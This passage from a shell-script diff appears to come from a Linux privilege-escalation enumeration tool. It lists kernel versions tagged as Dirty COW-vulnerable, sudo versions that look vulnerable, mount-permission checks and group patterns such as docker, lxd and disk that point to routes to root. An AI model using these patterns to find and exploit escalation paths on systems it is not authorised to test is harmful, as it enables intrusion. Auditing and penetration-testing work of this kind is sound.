tency|3.2.0-67-lowlatency-pae|3.2.0-67-virtual|3.2.0-68-generic"
+kernelDCW_Ubuntu_Precise_5="3.2.0-68-generic-pae|3.2.0-68-lowlatency|3.2.0-68-lowlatency-pae|3.2.0-68-virtual|3.2.0-69-generic|3.2.0-69-generic-pae|3.2.0-69-lowlatency|3.2.0-69-lowlatency-pae|3.2.0-69-virtual|3.2.0-70-generic|3.2.0-70-generic-pae|3.2.0-70-lowlatency|3.2.0-70-lowlatency-pae|3.2.0-70-virtual|3.2.0-72-generic|3.2.0-72-generic-pae|3.2.0-72-lowlatency|3.2.0-72-lowlatency-pae|3.2.0-72-virtual|3.2.0-73-generic|3.2.0-73-generic-pae|3.2.0-73-lowlatency|3.2.0-73-lowlatency-pae|3.2.0-73-virtual|3.2.0-74-generic|3.2.0-74-generic-pae|3.2.0-74-lowlatency|3.2.0-74-lowlatency-pae|3.2.0-74-virtual|3.2.0-75-generic|3.2.0-75-generic-pae|3.2.0-75-lowlatency|3.2.0-75-lowlatency-pae|3.2.0-75-virtual|3.2.0-76-generic|3.2.0-76-generic-pae|3.2.0-76-lowlatency|3.2.0-76-lowlatency-pae|3.2.0-76-virtual|3.2.0-77-generic|3.2.0-77-generic-pae|3.2.0-77-lowlatency|3.2.0-77-lowlatency-pae|3.2.0-77-virtual|3.2.0-79-generic|3.2.0-79-generic-pae|3.2.0-79-lowlatency|3.2.0-79-lowlatency-pae|3.2.0-79-virtual|3.2.0-80-generic|3.2.0-80-generic-pae|3.2.0-80-lowlatency|3.2.0-80-lowlatency-pae|3.2.0-80-virtual|3.2.0-82-generic|3.2.0-82-generic-pae|3.2.0-82-lowlatency|3.2.0-82-lowlatency-pae|3.2.0-82-virtual|3.2.0-83-generic|3.2.0-83-generic-pae|3.2.0-83-virtual|3.2.0-84-generic"
+kernelDCW_Ubuntu_Precise_6="3.2.0-84-generic-pae|3.2.0-84-virtual|3.2.0-85-generic|3.2.0-85-generic-pae|3.2.0-85-virtual|3.2.0-86-generic|3.2.0-86-generic-pae|3.2.0-86-virtual|3.2.0-87-generic|3.2.0-87-generic-pae|3.2.0-87-virtual|3.2.0-88-generic|3.2.0-88-generic-pae|3.2.0-88-virtual|3.2.0-89-generic|3.2.0-89-generic-pae|3.2.0-89-virtual|3.2.0-90-generic|3.2.0-90-generic-pae|3.2.0-90-virtual|3.2.0-91-generic|3.2.0-91-generic-pae|3.2.0-91-virtual|3.2.0-92-generic|3.2.0-92-generic-pae|3.2.0-92-virtual|3.2.0-93-generic|3.2.0-93-generic-pae|3.2.0-93-virtual|3.2.0-94-generic|3.2.0-94-generic-pae|3.2.0-94-virtual|3.2.0-95-generic|3.2.0-95-generic-pae|3.2.0-95-virtual|3.2.0-96-generic|3.2.0-96-generic-pae|3.2.0-96-virtual|3.2.0-97-generic|3.2.0-97-generic-pae|3.2.0-97-virtual|3.2.0-98-generic|3.2.0-98-generic-pae|3.2.0-98-virtual|3.2.0-99-generic|3.2.0-99-generic-pae|3.2.0-99-virtual|3.5.0-40-generic|3.5.0-41-generic|3.5.0-42-generic|3.5.0-43-generic|3.5.0-44-generic|3.5.0-45-generic|3.5.0-46-generic|3.5.0-49-generic|3.5.0-51-generic|3.5.0-52-generic|3.5.0-54-generic|3.8.0-19-generic|3.8.0-21-generic|3.8.0-22-generic|3.8.0-23-generic|3.8.0-27-generic|3.8.0-29-generic|3.8.0-30-generic|3.8.0-31-generic|3.8.0-32-generic|3.8.0-33-generic|3.8.0-34-generic|3.8.0-35-generic|3.8.0-36-generic|3.8.0-37-generic|3.8.0-38-generic|3.8.0-39-generic|3.8.0-41-generic|3.8.0-42-generic"
+kernelDCW_Ubuntu_Trusty_1="3.13.0-24-generic|3.13.0-24-generic-lpae|3.13.0-24-lowlatency|3.13.0-24-powerpc-e500|3.13.0-24-powerpc-e500mc|3.13.0-24-powerpc-smp|3.13.0-24-powerpc64-emb|3.13.0-24-powerpc64-smp|3.13.0-27-generic|3.13.0-27-lowlatency|3.13.0-29-generic|3.13.0-29-lowlatency|3.13.0-3-exynos5|3.13.0-30-generic|3.13.0-30-lowlatency|3.13.0-32-generic|3.13.0-32-lowlatency|3.13.0-33-generic|3.13.0-33-lowlatency|3.13.0-34-generic|3.13.0-34-lowlatency|3.13.0-35-generic|3.13.0-35-lowlatency|3.13.0-36-generic|3.13.0-36-lowlatency|3.13.0-37-generic|3.13.0-37-lowlatency|3.13.0-39-generic|3.13.0-39-lowlatency|3.13.0-40-generic|3.13.0-40-lowlatency|3.13.0-41-generic|3.13.0-41-lowlatency|3.13.0-43-generic|3.13.0-43-lowlatency|3.13.0-44-generic|3.13.0-44-lowlatency|3.13.0-46-generic|3.13.0-46-lowlatency|3.13.0-48-generic|3.13.0-48-lowlatency|3.13.0-49-generic|3.13.0-49-lowlatency|3.13.0-51-generic|3.13.0-51-lowlatency|3.13.0-52-generic|3.13.0-52-lowlatency|3.13.0-53-generic|3.13.0-53-lowlatency|3.13.0-54-generic|3.13.0-54-lowlatency|3.13.0-55-generic|3.13.0-55-lowlatency|3.13.0-57-generic|3.13.0-57-lowlatency|3.13.0-58-generic|3.13.0-58-lowlatency|3.13.0-59-generic|3.13.0-59-lowlatency|3.13.0-61-generic|3.13.0-61-lowlatency|3.13.0-62-generic|3.13.0-62-lowlatency|3.13.0-63-generic|3.13.0-63-lowlatency|3.13.0-65-generic|3.13.0-65-lowlatency|3.13.0-66-generic|3.13.0-66-lowlatency"
+kernelDCW_Ubuntu_Trusty_2="3.13.0-67-generic|3.13.0-67-lowlatency|3.13.0-68-generic|3.13.0-68-lowlatency|3.13.0-70-generic|3.13.0-70-lowlatency|3.13.0-71-generic|3.13.0-71-lowlatency|3.13.0-73-generic|3.13.0-73-lowlatency|3.13.0-74-generic|3.13.0-74-lowlatency|3.13.0-76-generic|3.13.0-76-lowlatency|3.13.0-77-generic|3.13.0-77-lowlatency|3.13.0-79-generic|3.13.0-79-lowlatency|3.13.0-83-generic|3.13.0-83-lowlatency|3.13.0-85-generic|3.13.0-85-lowlatency|3.13.0-86-generic|3.13.0-86-lowlatency|3.13.0-87-generic|3.13.0-87-lowlatency|3.13.0-88-generic|3.13.0-88-lowlatency|3.13.0-91-generic|3.13.0-91-lowlatency|3.13.0-92-generic|3.13.0-92-lowlatency|3.13.0-93-generic|3.13.0-93-lowlatency|3.13.0-95-generic|3.13.0-95-lowlatency|3.13.0-96-generic|3.13.0-96-lowlatency|3.13.0-98-generic|3.13.0-98-lowlatency|3.16.0-25-generic|3.16.0-25-lowlatency|3.16.0-26-generic|3.16.0-26-lowlatency|3.16.0-28-generic|3.16.0-28-lowlatency|3.16.0-29-generic|3.16.0-29-lowlatency|3.16.0-31-generic|3.16.0-31-lowlatency|3.16.0-33-generic|3.16.0-33-lowlatency|3.16.0-34-generic|3.16.0-34-lowlatency|3.16.0-36-generic|3.16.0-36-lowlatency|3.16.0-37-generic|3.16.0-37-lowlatency|3.16.0-38-generic|3.16.0-38-lowlatency|3.16.0-39-generic|3.16.0-39-lowlatency|3.16.0-41-generic|3.16.0-41-lowlatency|3.16.0-43-generic|3.16.0-43-lowlatency|3.16.0-44-generic|3.16.0-44-lowlatency|3.16.0-45-generic"
+kernelDCW_Ubuntu_Trusty_3="3.16.0-45-lowlatency|3.16.0-46-generic|3.16.0-46-lowlatency|3.16.0-48-generic|3.16.0-48-lowlatency|3.16.0-49-generic|3.16.0-49-lowlatency|3.16.0-50-generic|3.16.0-50-lowlatency|3.16.0-51-generic|3.16.0-51-lowlatency|3.16.0-52-generic|3.16.0-52-lowlatency|3.16.0-53-generic|3.16.0-53-lowlatency|3.16.0-55-generic|3.16.0-55-lowlatency|3.16.0-56-generic|3.16.0-56-lowlatency|3.16.0-57-generic|3.16.0-57-lowlatency|3.16.0-59-generic|3.16.0-59-lowlatency|3.16.0-60-generic|3.16.0-60-lowlatency|3.16.0-62-generic|3.16.0-62-lowlatency|3.16.0-67-generic|3.16.0-67-lowlatency|3.16.0-69-generic|3.16.0-69-lowlatency|3.16.0-70-generic|3.16.0-70-lowlatency|3.16.0-71-generic|3.16.0-71-lowlatency|3.16.0-73-generic|3.16.0-73-lowlatency|3.16.0-76-generic|3.16.0-76-lowlatency|3.16.0-77-generic|3.16.0-77-lowlatency|3.19.0-20-generic|3.19.0-20-lowlatency|3.19.0-21-generic|3.19.0-21-lowlatency|3.19.0-22-generic|3.19.0-22-lowlatency|3.19.0-23-generic|3.19.0-23-lowlatency|3.19.0-25-generic|3.19.0-25-lowlatency|3.19.0-26-generic|3.19.0-26-lowlatency|3.19.0-28-generic|3.19.0-28-lowlatency|3.19.0-30-generic|3.19.0-30-lowlatency|3.19.0-31-generic|3.19.0-31-lowlatency|3.19.0-32-generic|3.19.0-32-lowlatency|3.19.0-33-generic|3.19.0-33-lowlatency|3.19.0-37-generic|3.19.0-37-lowlatency|3.19.0-39-generic|3.19.0-39-lowlatency|3.19.0-41-generic|3.19.0-41-lowlatency|3.19.0-42-generic"
+kernelDCW_Ubuntu_Trusty_4="3.19.0-42-lowlatency|3.19.0-43-generic|3.19.0-43-lowlatency|3.19.0-47-generic|3.19.0-47-lowlatency|3.19.0-49-generic|3.19.0-49-lowlatency|3.19.0-51-generic|3.19.0-51-lowlatency|3.19.0-56-generic|3.19.0-56-lowlatency|3.19.0-58-generic|3.19.0-58-lowlatency|3.19.0-59-generic|3.19.0-59-lowlatency|3.19.0-61-generic|3.19.0-61-lowlatency|3.19.0-64-generic|3.19.0-64-lowlatency|3.19.0-65-generic|3.19.0-65-lowlatency|3.19.0-66-generic|3.19.0-66-lowlatency|3.19.0-68-generic|3.19.0-68-lowlatency|3.19.0-69-generic|3.19.0-69-lowlatency|3.19.0-71-generic|3.19.0-71-lowlatency|3.4.0-5-chromebook|4.2.0-18-generic|4.2.0-18-lowlatency|4.2.0-19-generic|4.2.0-19-lowlatency|4.2.0-21-generic|4.2.0-21-lowlatency|4.2.0-22-generic|4.2.0-22-lowlatency|4.2.0-23-generic|4.2.0-23-lowlatency|4.2.0-25-generic|4.2.0-25-lowlatency|4.2.0-27-generic|4.2.0-27-lowlatency|4.2.0-30-generic|4.2.0-30-lowlatency|4.2.0-34-generic|4.2.0-34-lowlatency|4.2.0-35-generic|4.2.0-35-lowlatency|4.2.0-36-generic|4.2.0-36-lowlatency|4.2.0-38-generic|4.2.0-38-lowlatency|4.2.0-41-generic|4.2.0-41-lowlatency|4.4.0-21-generic|4.4.0-21-lowlatency|4.4.0-22-generic|4.4.0-22-lowlatency|4.4.0-24-generic|4.4.0-24-lowlatency|4.4.0-28-generic|4.4.0-28-lowlatency|4.4.0-31-generic|4.4.0-31-lowlatency|4.4.0-34-generic|4.4.0-34-lowlatency|4.4.0-36-generic|4.4.0-36-lowlatency|4.4.0-38-generic|4.4.0-38-lowlatency|4.4.0-42-generic|4.4.0-42-lowlatency"
+kernelDCW_Ubuntu_Xenial="4.4.0-1009-raspi2|4.4.0-1012-snapdragon|4.4.0-21-generic|4.4.0-21-generic-lpae|4.4.0-21-lowlatency|4.4.0-21-powerpc-e500mc|4.4.0-21-powerpc-smp|4.4.0-21-powerpc64-emb|4.4.0-21-powerpc64-smp|4.4.0-22-generic|4.4.0-22-lowlatency|4.4.0-24-generic|4.4.0-24-lowlatency|4.4.0-28-generic|4.4.0-28-lowlatency|4.4.0-31-generic|4.4.0-31-lowlatency|4.4.0-34-generic|4.4.0-34-lowlatency|4.4.0-36-generic|4.4.0-36-lowlatency|4.4.0-38-generic|4.4.0-38-lowlatency|4.4.0-42-generic|4.4.0-42-lowlatency"
+kernelDCW_Rhel5_1="2.6.24.7-74.el5rt|2.6.24.7-81.el5rt|2.6.24.7-93.el5rt|2.6.24.7-101.el5rt|2.6.24.7-108.el5rt|2.6.24.7-111.el5rt|2.6.24.7-117.el5rt|2.6.24.7-126.el5rt|2.6.24.7-132.el5rt|2.6.24.7-137.el5rt|2.6.24.7-139.el5rt|2.6.24.7-146.el5rt|2.6.24.7-149.el5rt|2.6.24.7-161.el5rt|2.6.24.7-169.el5rt|2.6.33.7-rt29.45.el5rt|2.6.33.7-rt29.47.el5rt|2.6.33.7-rt29.55.el5rt|2.6.33.9-rt31.64.el5rt|2.6.33.9-rt31.67.el5rt|2.6.33.9-rt31.86.el5rt|2.6.18-8.1.1.el5|2.6.18-8.1.3.el5|2.6.18-8.1.4.el5|2.6.18-8.1.6.el5|2.6.18-8.1.8.el5|2.6.18-8.1.10.el5|2.6.18-8.1.14.el5|2.6.18-8.1.15.el5|2.6.18-53.el5|2.6.18-53.1.4.el5|2.6.18-53.1.6.el5|2.6.18-53.1.13.el5|2.6.18-53.1.14.el5|2.6.18-53.1.19.el5|2.6.18-53.1.21.el5|2.6.18-92.el5|2.6.18-92.1.1.el5|2.6.18-92.1.6.el5|2.6.18-92.1.10.el5|2.6.18-92.1.13.el5|2.6.18-92.1.18.el5|2.6.18-92.1.22.el5|2.6.18-92.1.24.el5|2.6.18-92.1.26.el5|2.6.18-92.1.27.el5|2.6.18-92.1.28.el5|2.6.18-92.1.29.el5|2.6.18-92.1.32.el5|2.6.18-92.1.35.el5|2.6.18-92.1.38.el5|2.6.18-128.el5|2.6.18-128.1.1.el5|2.6.18-128.1.6.el5|2.6.18-128.1.10.el5|2.6.18-128.1.14.el5|2.6.18-128.1.16.el5|2.6.18-128.2.1.el5|2.6.18-128.4.1.el5|2.6.18-128.4.1.el5|2.6.18-128.7.1.el5|2.6.18-128.8.1.el5|2.6.18-128.11.1.el5|2.6.18-128.12.1.el5|2.6.18-128.14.1.el5|2.6.18-128.16.1.el5|2.6.18-128.17.1.el5|2.6.18-128.18.1.el5|2.6.18-128.23.1.el5|2.6.18-128.23.2.el5|2.6.18-128.25.1.el5|2.6.18-128.26.1.el5|2.6.18-128.27.1.el5"
+kernelDCW_Rhel5_2="2.6.18-128.29.1.el5|2.6.18-128.30.1.el5|2.6.18-128.31.1.el5|2.6.18-128.32.1.el5|2.6.18-128.35.1.el5|2.6.18-128.36.1.el5|2.6.18-128.37.1.el5|2.6.18-128.38.1.el5|2.6.18-128.39.1.el5|2.6.18-128.40.1.el5|2.6.18-128.41.1.el5|2.6.18-164.el5|2.6.18-164.2.1.el5|2.6.18-164.6.1.el5|2.6.18-164.9.1.el5|2.6.18-164.10.1.el5|2.6.18-164.11.1.el5|2.6.18-164.15.1.el5|2.6.18-164.17.1.el5|2.6.18-164.19.1.el5|2.6.18-164.21.1.el5|2.6.18-164.25.1.el5|2.6.18-164.25.2.el5|2.6.18-164.28.1.el5|2.6.18-164.30.1.el5|2.6.18-164.32.1.el5|2.6.18-164.34.1.el5|2.6.18-164.36.1.el5|2.6.18-164.37.1.el5|2.6.18-164.38.1.el5|2.6.18-194.el5|2.6.18-194.3.1.el5|2.6.18-194.8.1.el5|2.6.18-194.11.1.el5|2.6.18-194.11.3.el5|2.6.18-194.11.4.el5|2.6.18-194.17.1.el5|2.6.18-194.17.4.el5|2.6.18-194.26.1.el5|2.6.18-194.32.1.el5|2.6.18-238.el5|2.6.18-238.1.1.el5|2.6.18-238.5.1.el5|2.6.18-238.9.1.el5|2.6.18-238.12.1.el5|2.6.18-238.19.1.el5|2.6.18-238.21.1.el5|2.6.18-238.27.1.el5|2.6.18-238.28.1.el5|2.6.18-238.31.1.el5|2.6.18-238.33.1.el5|2.6.18-238.35.1.el5|2.6.18-238.37.1.el5|2.6.18-238.39.1.el5|2.6.18-238.40.1.el5|2.6.18-238.44.1.el5|2.6.18-238.45.1.el5|2.6.18-238.47.1.el5|2.6.18-238.48.1.el5|2.6.18-238.49.1.el5|2.6.18-238.50.1.el5|2.6.18-238.51.1.el5|2.6.18-238.52.1.el5|2.6.18-238.53.1.el5|2.6.18-238.54.1.el5|2.6.18-238.55.1.el5|2.6.18-238.56.1.el5|2.6.18-274.el5|2.6.18-274.3.1.el5|2.6.18-274.7.1.el5|2.6.18-274.12.1.el5"
+kernelDCW_Rhel5_3="2.6.18-274.17.1.el5|2.6.18-274.18.1.el5|2.6.18-308.el5|2.6.18-308.1.1.el5|2.6.18-308.4.1.el5|2.6.18-308.8.1.el5|2.6.18-308.8.2.el5|2.6.18-308.11.1.el5|2.6.18-308.13.1.el5|2.6.18-308.16.1.el5|2.6.18-308.20.1.el5|2.6.18-308.24.1.el5|2.6.18-348.el5|2.6.18-348.1.1.el5|2.6.18-348.2.1.el5|2.6.18-348.3.1.el5|2.6.18-348.4.1.el5|2.6.18-348.6.1.el5|2.6.18-348.12.1.el5|2.6.18-348.16.1.el5|2.6.18-348.18.1.el5|2.6.18-348.19.1.el5|2.6.18-348.21.1.el5|2.6.18-348.22.1.el5|2.6.18-348.23.1.el5|2.6.18-348.25.1.el5|2.6.18-348.27.1.el5|2.6.18-348.28.1.el5|2.6.18-348.29.1.el5|2.6.18-348.30.1.el5|2.6.18-348.31.2.el5|2.6.18-371.el5|2.6.18-371.1.2.el5|2.6.18-371.3.1.el5|2.6.18-371.4.1.el5|2.6.18-371.6.1.el5|2.6.18-371.8.1.el5|2.6.18-371.9.1.el5|2.6.18-371.11.1.el5|2.6.18-371.12.1.el5|2.6.18-398.el5|2.6.18-400.el5|2.6.18-400.1.1.el5|2.6.18-402.el5|2.6.18-404.el5|2.6.18-406.el5|2.6.18-407.el5|2.6.18-408.el5|2.6.18-409.el5|2.6.18-410.el5|2.6.18-411.el5|2.6.18-412.el5"
+kernelDCW_Rhel6_1="2.6.33.9-rt31.66.el6rt|2.6.33.9-rt31.74.el6rt|2.6.33.9-rt31.75.el6rt|2.6.33.9-rt31.79.el6rt|3.0.9-rt26.45.el6rt|3.0.9-rt26.46.el6rt|3.0.18-rt34.53.el6rt|3.0.25-rt44.57.el6rt|3.0.30-rt50.62.el6rt|3.0.36-rt57.66.el6rt|3.2.23-rt37.56.el6rt|3.2.33-rt50.66.el6rt|3.6.11-rt28.20.el6rt|3.6.11-rt30.25.el6rt|3.6.11.2-rt33.39.el6rt|3.6.11.5-rt37.55.el6rt|3.8.13-rt14.20.el6rt|3.8.13-rt14.25.el6rt|3.8.13-rt27.33.el6rt|3.8.13-rt27.34.el6rt|3.8.13-rt27.40.el6rt|3.10.0-229.rt56.144.el6rt|3.10.0-229.rt56.147.el6rt|3.10.0-229.rt56.149.el6rt|3.10.0-229.rt56.151.el6rt|3.10.0-229.rt56.153.el6rt|3.10.0-229.rt56.158.el6rt|3.10.0-229.rt56.161.el6rt|3.10.0-229.rt56.162.el6rt|3.10.0-327.rt56.170.el6rt|3.10.0-327.rt56.171.el6rt|3.10.0-327.rt56.176.el6rt|3.10.0-327.rt56.183.el6rt|3.10.0-327.rt56.190.el6rt|3.10.0-327.rt56.194.el6rt|3.10.0-327.rt56.195.el6rt|3.10.0-327.rt56.197.el6rt|3.10.33-rt32.33.el6rt|3.10.33-rt32.34.el6rt|3.10.33-rt32.43.el6rt|3.10.33-rt32.45.el6rt|3.10.33-rt32.51.el6rt|3.10.33-rt32.52.el6rt|3.10.58-rt62.58.el6rt|3.10.58-rt62.60.el6rt|2.6.32-71.7.1.el6|2.6.32-71.14.1.el6|2.6.32-71.18.1.el6|2.6.32-71.18.2.el6|2.6.32-71.24.1.el6|2.6.32-71.29.1.el6|2.6.32-71.31.1.el6|2.6.32-71.34.1.el6|2.6.32-71.35.1.el6|2.6.32-71.36.1.el6|2.6.32-71.37.1.el6|2.6.32-71.38.1.el6|2.6.32-71.39.1.el6|2.6.32-71.40.1.el6|2.6.32-131.0.15.el6|2.6.32-131.2.1.el6|2.6.32-131.4.1.el6|2.6.32-131.6.1.el6|2.6.32-131.12.1.el6"
+kernelDCW_Rhel6_2="2.6.32-131.17.1.el6|2.6.32-131.21.1.el6|2.6.32-131.22.1.el6|2.6.32-131.25.1.el6|2.6.32-131.26.1.el6|2.6.32-131.28.1.el6|2.6.32-131.29.1.el6|2.6.32-131.30.1.el6|2.6.32-131.30.2.el6|2.6.32-131.33.1.el6|2.6.32-131.35.1.el6|2.6.32-131.36.1.el6|2.6.32-131.37.1.el6|2.6.32-131.38.1.el6|2.6.32-131.39.1.el6|2.6.32-220.el6|2.6.32-220.2.1.el6|2.6.32-220.4.1.el6|2.6.32-220.4.2.el6|2.6.32-220.4.7.bgq.el6|2.6.32-220.7.1.el6|2.6.32-220.7.3.p7ih.el6|2.6.32-220.7.4.p7ih.el6|2.6.32-220.7.6.p7ih.el6|2.6.32-220.7.7.p7ih.el6|2.6.32-220.13.1.el6|2.6.32-220.17.1.el6|2.6.32-220.23.1.el6|2.6.32-220.24.1.el6|2.6.32-220.25.1.el6|2.6.32-220.26.1.el6|2.6.32-220.28.1.el6|2.6.32-220.30.1.el6|2.6.32-220.31.1.el6|2.6.32-220.32.1.el6|2.6.32-220.34.1.el6|2.6.32-220.34.2.el6|2.6.32-220.38.1.el6|2.6.32-220.39.1.el6|2.6.32-220.41.1.el6|2.6.32-220.42.1.el6|2.6.32-220.45.1.el6|2.6.32-220.46.1.el6|2.6.32-220.48.1.el6|2.6.32-220.51.1.el6|2.6.32-220.52.1.el6|2.6.32-220.53.1.el6|2.6.32-220.54.1.el6|2.6.32-220.55.1.el6|2.6.32-220.56.1.el6|2.6.32-220.57.1.el6|2.6.32-220.58.1.el6|2.6.32-220.60.2.el6|2.6.32-220.62.1.el6|2.6.32-220.63.2.el6|2.6.32-220.64.1.el6|2.6.32-220.65.1.el6|2.6.32-220.66.1.el6|2.6.32-220.67.1.el6|2.6.32-279.el6|2.6.32-279.1.1.el6|2.6.32-279.2.1.el6|2.6.32-279.5.1.el6|2.6.32-279.5.2.el6|2.6.32-279.9.1.el6|2.6.32-279.11.1.el6|2.6.32-279.14.1.bgq.el6|2.6.32-279.14.1.el6|2.6.32-279.19.1.el6|2.6.32-279.22.1.el6|2.6.32-279.23.1.el6|2.6.32-279.25.1.el6|2.6.32-279.25.2.el6|2.6.32-279.31.1.el6|2.6.32-279.33.1.el6|2.6.32-279.34.1.el6|2.6.32-279.37.2.el6|2.6.32-279.39.1.el6"
+kernelDCW_Rhel6_3="2.6.32-279.41.1.el6|2.6.32-279.42.1.el6|2.6.32-279.43.1.el6|2.6.32-279.43.2.el6|2.6.32-279.46.1.el6|2.6.32-358.el6|2.6.32-358.0.1.el6|2.6.32-358.2.1.el6|2.6.32-358.6.1.el6|2.6.32-358.6.2.el6|2.6.32-358.6.3.p7ih.el6|2.6.32-358.11.1.bgq.el6|2.6.32-358.11.1.el6|2.6.32-358.14.1.el6|2.6.32-358.18.1.el6|2.6.32-358.23.2.el6|2.6.32-358.28.1.el6|2.6.32-358.32.3.el6|2.6.32-358.37.1.el6|2.6.32-358.41.1.el6|2.6.32-358.44.1.el6|2.6.32-358.46.1.el6|2.6.32-358.46.2.el6|2.6.32-358.48.1.el6|2.6.32-358.49.1.el6|2.6.32-358.51.1.el6|2.6.32-358.51.2.el6|2.6.32-358.55.1.el6|2.6.32-358.56.1.el6|2.6.32-358.59.1.el6|2.6.32-358.61.1.el6|2.6.32-358.62.1.el6|2.6.32-358.65.1.el6|2.6.32-358.67.1.el6|2.6.32-358.68.1.el6|2.6.32-358.69.1.el6|2.6.32-358.70.1.el6|2.6.32-358.71.1.el6|2.6.32-358.72.1.el6|2.6.32-358.73.1.el6|2.6.32-358.111.1.openstack.el6|2.6.32-358.114.1.openstack.el6|2.6.32-358.118.1.openstack.el6|2.6.32-358.123.4.openstack.el6|2.6.32-431.el6|2.6.32-431.1.1.bgq.el6|2.6.32-431.1.2.el6|2.6.32-431.3.1.el6|2.6.32-431.5.1.el6|2.6.32-431.11.2.el6|2.6.32-431.17.1.el6|2.6.32-431.20.3.el6|2.6.32-431.20.5.el6|2.6.32-431.23.3.el6|2.6.32-431.29.2.el6|2.6.32-431.37.1.el6|2.6.32-431.40.1.el6|2.6.32-431.40.2.el6|2.6.32-431.46.2.el6|2.6.32-431.50.1.el6|2.6.32-431.53.2.el6|2.6.32-431.56.1.el6|2.6.32-431.59.1.el6|2.6.32-431.61.2.el6|2.6.32-431.64.1.el6|2.6.32-431.66.1.el6|2.6.32-431.68.1.el6|2.6.32-431.69.1.el6|2.6.32-431.70.1.el6"
+kernelDCW_Rhel6_4="2.6.32-431.71.1.el6|2.6.32-431.72.1.el6|2.6.32-431.73.2.el6|2.6.32-431.74.1.el6|2.6.32-504.el6|2.6.32-504.1.3.el6|2.6.32-504.3.3.el6|2.6.32-504.8.1.el6|2.6.32-504.8.2.bgq.el6|2.6.32-504.12.2.el6|2.6.32-504.16.2.el6|2.6.32-504.23.4.el6|2.6.32-504.30.3.el6|2.6.32-504.30.5.p7ih.el6|2.6.32-504.33.2.el6|2.6.32-504.36.1.el6|2.6.32-504.38.1.el6|2.6.32-504.40.1.el6|2.6.32-504.43.1.el6|2.6.32-504.46.1.el6|2.6.32-504.49.1.el6|2.6.32-504.50.1.el6|2.6.32-504.51.1.el6|2.6.32-504.52.1.el6|2.6.32-573.el6|2.6.32-573.1.1.el6|2.6.32-573.3.1.el6|2.6.32-573.4.2.bgq.el6|2.6.32-573.7.1.el6|2.6.32-573.8.1.el6|2.6.32-573.12.1.el6|2.6.32-573.18.1.el6|2.6.32-573.22.1.el6|2.6.32-573.26.1.el6|2.6.32-573.30.1.el6|2.6.32-573.32.1.el6|2.6.32-573.34.1.el6|2.6.32-642.el6|2.6.32-642.1.1.el6|2.6.32-642.3.1.el6|2.6.32-642.4.2.el6|2.6.32-642.6.1.el6"
+kernelDCW_Rhel7="3.10.0-229.rt56.141.el7|3.10.0-229.1.2.rt56.141.2.el7_1|3.10.0-229.4.2.rt56.141.6.el7_1|3.10.0-229.7.2.rt56.141.6.el7_1|3.10.0-229.11.1.rt56.141.11.el7_1|3.10.0-229.14.1.rt56.141.13.el7_1|3.10.0-229.20.1.rt56.141.14.el7_1|3.10.0-229.rt56.141.el7|3.10.0-327.rt56.204.el7|3.10.0-327.4.5.rt56.206.el7_2|3.10.0-327.10.1.rt56.211.el7_2|3.10.0-327.13.1.rt56.216.el7_2|3.10.0-327.18.2.rt56.223.el7_2|3.10.0-327.22.2.rt56.230.el7_2|3.10.0-327.28.2.rt56.234.el7_2|3.10.0-327.28.3.rt56.235.el7|3.10.0-327.36.1.rt56.237.el7|3.10.0-123.el7|3.10.0-123.1.2.el7|3.10.0-123.4.2.el7|3.10.0-123.4.4.el7|3.10.0-123.6.3.el7|3.10.0-123.8.1.el7|3.10.0-123.9.2.el7|3.10.0-123.9.3.el7|3.10.0-123.13.1.el7|3.10.0-123.13.2.el7|3.10.0-123.20.1.el7|3.10.0-229.el7|3.10.0-229.1.2.el7|3.10.0-229.4.2.el7|3.10.0-229.7.2.el7|3.10.0-229.11.1.el7|3.10.0-229.14.1.el7|3.10.0-229.20.1.el7|3.10.0-229.24.2.el7|3.10.0-229.26.2.el7|3.10.0-229.28.1.el7|3.10.0-229.30.1.el7|3.10.0-229.34.1.el7|3.10.0-229.38.1.el7|3.10.0-229.40.1.el7|3.10.0-229.42.1.el7|3.10.0-327.el7|3.10.0-327.3.1.el7|3.10.0-327.4.4.el7|3.10.0-327.4.5.el7|3.10.0-327.10.1.el7|3.10.0-327.13.1.el7|3.10.0-327.18.2.el7|3.10.0-327.22.2.el7|3.10.0-327.28.2.el7|3.10.0-327.28.3.el7|3.10.0-327.36.1.el7|3.10.0-327.36.2.el7|3.10.0-229.1.2.ael7b|3.10.0-229.4.2.ael7b|3.10.0-229.7.2.ael7b|3.10.0-229.11.1.ael7b|3.10.0-229.14.1.ael7b|3.10.0-229.20.1.ael7b|3.10.0-229.24.2.ael7b|3.10.0-229.26.2.ael7b|3.10.0-229.28.1.ael7b|3.10.0-229.30.1.ael7b|3.10.0-229.34.1.ael7b|3.10.0-229.38.1.ael7b|3.10.0-229.40.1.ael7b|3.10.0-229.42.1.ael7b|4.2.0-0.21.el7"
+
+
+MyUID=$(id -u $(whoami))
+if [ "$MyUID" ]; then myuid=$MyUID; elif [ $(id -u $(whoami) 2>/dev/null) ]; then myuid=$(id -u $(whoami) 2>/dev/null); elif [ "$(id 2>/dev/null | cut -d "=" -f 2 | cut -d "(" -f 1)" ]; then myuid=$(id 2>/dev/null | cut -d "=" -f 2 | cut -d "(" -f 1); fi
+if [ $myuid -gt 2147483646 ]; then baduid="|$myuid"; fi
+idB="euid|egid$baduid"
+sudovB="[01].[012345678].[0-9]+|1.9.[01234]|1.9.5p1"
+
+mounted=$( (cat /proc/self/mountinfo || cat /proc/1/mountinfo) 2>/dev/null | cut -d " " -f5 | grep "^/" | tr '\n' '|')$(cat /etc/fstab 2>/dev/null | grep -v "#" | grep -E '\W/\W' | awk '{print $1}')
+if ! [ "$mounted" ]; then
+ mounted=$( (mount -l || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts) 2>/dev/null | grep "^/" | cut -d " " -f1 | tr '\n' '|')$(cat /etc/fstab 2>/dev/null | grep -v "#" | grep -E '\W/\W' | awk '{print $1}')
+fi
+if ! [ "$mounted" ]; then mounted="ImPoSSssSiBlEee"; fi # Don't let any blacklist to be empty
+mountG="swap|/cdrom|/floppy|/dev/shm"
+notmounted=$(cat /etc/fstab 2>/dev/null | grep "^/" | grep -Ev "$mountG" | awk '{print $1}' | grep -Ev "$mounted" | tr '\n' '|')"ImPoSSssSiBlEee"
+mountpermsB="\Wsuid|\Wuser|\Wexec"
+mountpermsG="nosuid|nouser|noexec"
+
+rootcommon="/init$|upstart-udev-bridge|udev|/getty|cron|apache2|java|tomcat|/vmtoolsd|/VGAuthService"
+
+groupsB="\(root\)|\(shadow\)|\(admin\)|\(video\)|\(adm\)|\(wheel\)|\(auth\)"
+groupsVB="\(sudo\)|\(docker\)|\(lxd\)|\(disk\)|\(lxc\)"
